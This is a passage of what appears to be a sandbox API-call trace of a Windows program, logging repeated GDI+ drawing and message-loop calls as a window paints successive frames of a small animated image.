(lpString="GDI+Atom_3772_1") returned 0xc000 [0155.551] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff97010b82) returned 0x0 [0155.551] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc200dbd) returned 0x0 [0155.551] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.551] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0155.551] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.551] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.551] GetSystemMetrics (nIndex=42) returned 0 [0155.551] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.551] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.551] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.551] CoTaskMemFree (pv=0x1e91eca0) [0155.551] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0155.553] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0155.553] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0155.553] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0155.554] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0155.554] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff97010b82, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.554] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.554] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff97010b82) returned 0x0 [0155.554] SelectObject (hdc=0xffffffff97010b82, h=0x185000f) returned 0x1a05067e [0155.554] DeleteDC (hdc=0xffffffff97010b82) returned 1 [0155.554] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.554] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0155.554] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0155.554] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0155.554] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.554] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.555] WaitMessage () returned 1 [0155.785] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.786] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.786] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.786] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.786] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.786] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0155.786] GetCurrentThreadId () returned 0xec0 [0155.786] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0155.786] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.786] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.786] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.786] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.786] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.786] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0155.787] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0155.787] CreateCompatibleDC (hdc=0x3010b83) returned 0x730106ea [0155.787] SelectObject (hdc=0x730106ea, h=0x1a05067e) returned 0x185000f [0155.787] GdipCreateFromHDC (hdc=0x730106ea, graphics=0x15daf0) returned 0x0 [0155.787] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0155.787] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0155.787] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0155.787] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0155.787] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0155.787] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.788] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0155.788] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.788] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.788] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0155.788] GdipCreateRegion (region=0x15dc20) returned 0x0 [0155.788] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0155.788] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0155.789] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0155.789] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.789] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.789] GetSystemMetrics (nIndex=42) returned 0 [0155.789] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.789] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.789] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.789] CoTaskMemFree (pv=0x1e91eca0) [0155.789] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0155.789] GdipCreateRegion (region=0x15d710) returned 0x0 [0155.789] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0155.789] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0155.789] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0155.790] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0155.790] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.790] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.790] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.790] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0155.790] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.790] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.791] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.791] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.791] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0155.791] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0155.791] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0155.791] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0155.791] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.792] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0155.792] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0155.792] GetCurrentObject (hdc=0x730106ea, type=0x1) returned 0x1b00017 [0155.792] GetCurrentObject (hdc=0x730106ea, type=0x2) returned 0x1900010 [0155.792] GetCurrentObject (hdc=0x730106ea, type=0x7) returned 0x1a05067e [0155.792] GetCurrentObject (hdc=0x730106ea, type=0x6) returned 0x18a002e [0155.792] SaveDC (hdc=0x730106ea) returned 1 [0155.792] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc0407c3 [0155.792] GetClipRgn (hdc=0x730106ea, hrgn=0xc0407c3) returned 0 [0155.792] SelectClipRgn (hdc=0x730106ea, hrgn=0xffffffffdc040b8a) returned 2 [0155.792] DeleteObject (ho=0xc0407c3) returned 1 [0155.792] DeleteObject (ho=0xffffffffdc040b8a) returned 1 [0155.793] OffsetViewportOrgEx (in: hdc=0x730106ea, x=0, y=0, lppt=0x270e0b8 | out: lppt=0x270e0b8) returned 1 [0155.793] GetNearestColor (hdc=0x730106ea, color=0xffffff) returned 0xffffff [0155.793] CreateSolidBrush (color=0xffffff) returned 0xffffffffe4100190 [0155.793] FillRect (hDC=0x730106ea, lprc=0x15d7c0, hbr=0xffffffffe4100190) returned 1 [0155.793] DeleteObject (ho=0xffffffffe4100190) returned 1 [0155.793] RestoreDC (hdc=0x730106ea, nSavedDC=-1) returned 1 [0155.793] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.793] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x730106ea) returned 0x0 [0155.793] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc1e0dbd) returned 0x0 [0155.793] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.793] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0155.793] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.793] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.794] GetSystemMetrics (nIndex=42) returned 0 [0155.794] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.794] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.794] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.794] CoTaskMemFree (pv=0x1e91eca0) [0155.794] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0155.794] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0155.794] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0155.794] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0155.794] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x730106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.795] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.795] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x730106ea) returned 0x0 [0155.795] SelectObject (hdc=0x730106ea, h=0x185000f) returned 0x1a05067e [0155.795] DeleteDC (hdc=0x730106ea) returned 1 [0155.795] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.795] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0155.795] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0155.795] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0155.795] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.795] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.795] WaitMessage () returned 1 [0155.973] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.973] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.973] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.973] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.973] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.973] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0155.974] GetCurrentThreadId () returned 0xec0 [0155.974] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0155.974] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.974] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.974] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.974] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.974] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.974] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0155.974] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0155.974] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff9b010b82 [0155.975] SelectObject (hdc=0xffffffff9b010b82, h=0x1a05067e) returned 0x185000f [0155.975] GdipCreateFromHDC (hdc=0xffffffff9b010b82, graphics=0x15daf0) returned 0x0 [0155.975] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0155.975] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0155.975] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0155.975] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0155.975] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0155.975] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.975] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0155.976] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.976] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.976] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0155.976] GdipCreateRegion (region=0x15dc20) returned 0x0 [0155.976] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0155.976] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0155.976] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0155.976] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.976] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.977] GetSystemMetrics (nIndex=42) returned 0 [0155.977] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.977] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.977] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.977] CoTaskMemFree (pv=0x1e91eca0) [0155.977] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0155.977] GdipCreateRegion (region=0x15d710) returned 0x0 [0155.977] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0155.977] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0155.977] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0155.977] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0155.977] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.977] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.978] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.978] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0155.978] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.978] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.979] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.979] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.979] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0155.979] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0155.979] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0155.979] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0155.979] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.979] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0155.980] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0155.980] GetCurrentObject (hdc=0xffffffff9b010b82, type=0x1) returned 0x1b00017 [0155.980] GetCurrentObject (hdc=0xffffffff9b010b82, type=0x2) returned 0x1900010 [0155.980] GetCurrentObject (hdc=0xffffffff9b010b82, type=0x7) returned 0x1a05067e [0155.980] GetCurrentObject (hdc=0xffffffff9b010b82, type=0x6) returned 0x18a002e [0155.980] SaveDC (hdc=0xffffffff9b010b82) returned 1 [0155.980] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffdd040b8a [0155.980] GetClipRgn (hdc=0xffffffff9b010b82, hrgn=0xffffffffdd040b8a) returned 0 [0155.980] SelectClipRgn (hdc=0xffffffff9b010b82, hrgn=0xd0407c3) returned 2 [0155.980] DeleteObject (ho=0xffffffffdd040b8a) returned 1 [0155.980] DeleteObject (ho=0xd0407c3) returned 1 [0155.980] OffsetViewportOrgEx (in: hdc=0xffffffff9b010b82, x=0, y=0, lppt=0x270e9f0 | out: lppt=0x270e9f0) returned 1 [0155.981] GetNearestColor (hdc=0xffffffff9b010b82, color=0xffffff) returned 0xffffff [0155.981] CreateSolidBrush (color=0xffffff) returned 0xffffffffe5100190 [0155.981] FillRect (hDC=0xffffffff9b010b82, lprc=0x15d7c0, hbr=0xffffffffe5100190) returned 1 [0155.981] DeleteObject (ho=0xffffffffe5100190) returned 1 [0155.981] RestoreDC (hdc=0xffffffff9b010b82, nSavedDC=-1) returned 1 [0155.981] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.981] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff9b010b82) returned 0x0 [0155.981] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc1c0dbd) returned 0x0 [0155.981] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.981] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0155.982] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.982] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.982] GetSystemMetrics (nIndex=42) returned 0 [0155.982] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.982] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.982] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.982] CoTaskMemFree (pv=0x1e91eca0) [0155.982] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0155.984] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0155.984] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0155.984] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0155.984] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0155.984] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff9b010b82, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.984] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.984] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff9b010b82) returned 0x0 [0155.984] SelectObject (hdc=0xffffffff9b010b82, h=0x185000f) returned 0x1a05067e [0155.985] DeleteDC (hdc=0xffffffff9b010b82) returned 1 [0155.985] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.985] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0155.985] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0155.985] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0155.985] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.985] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.985] WaitMessage () returned 1 [0156.130] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.130] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.130] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.130] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.130] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.130] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0156.130] GetCurrentThreadId () returned 0xec0 [0156.130] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0156.130] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.130] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.130] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.130] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.130] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.130] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0156.131] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0156.131] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff9c010b82 [0156.131] SelectObject (hdc=0xffffffff9c010b82, h=0x1a05067e) returned 0x185000f [0156.131] GdipCreateFromHDC (hdc=0xffffffff9c010b82, graphics=0x15daf0) returned 0x0 [0156.131] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0156.131] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0156.131] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0156.131] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0156.132] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0156.132] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.132] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0156.132] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.132] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.132] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0156.133] GdipCreateRegion (region=0x15dc20) returned 0x0 [0156.133] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0156.133] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0156.133] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0156.133] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.133] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.133] GetSystemMetrics (nIndex=42) returned 0 [0156.133] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.133] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.133] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.133] CoTaskMemFree (pv=0x1e91eca0) [0156.133] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0156.133] GdipCreateRegion (region=0x15d710) returned 0x0 [0156.133] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0156.133] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0156.134] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0156.134] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0156.134] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.134] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.134] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.134] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0156.134] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.134] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.135] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.135] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0156.135] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0156.135] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0156.135] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0156.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.135] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0156.135] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0156.136] GetCurrentObject (hdc=0xffffffff9c010b82, type=0x1) returned 0x1b00017 [0156.136] GetCurrentObject (hdc=0xffffffff9c010b82, type=0x2) returned 0x1900010 [0156.136] GetCurrentObject (hdc=0xffffffff9c010b82, type=0x7) returned 0x1a05067e [0156.136] GetCurrentObject (hdc=0xffffffff9c010b82, type=0x6) returned 0x18a002e [0156.136] SaveDC (hdc=0xffffffff9c010b82) returned 1 [0156.136] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xe0407c3 [0156.136] GetClipRgn (hdc=0xffffffff9c010b82, hrgn=0xe0407c3) returned 0 [0156.136] SelectClipRgn 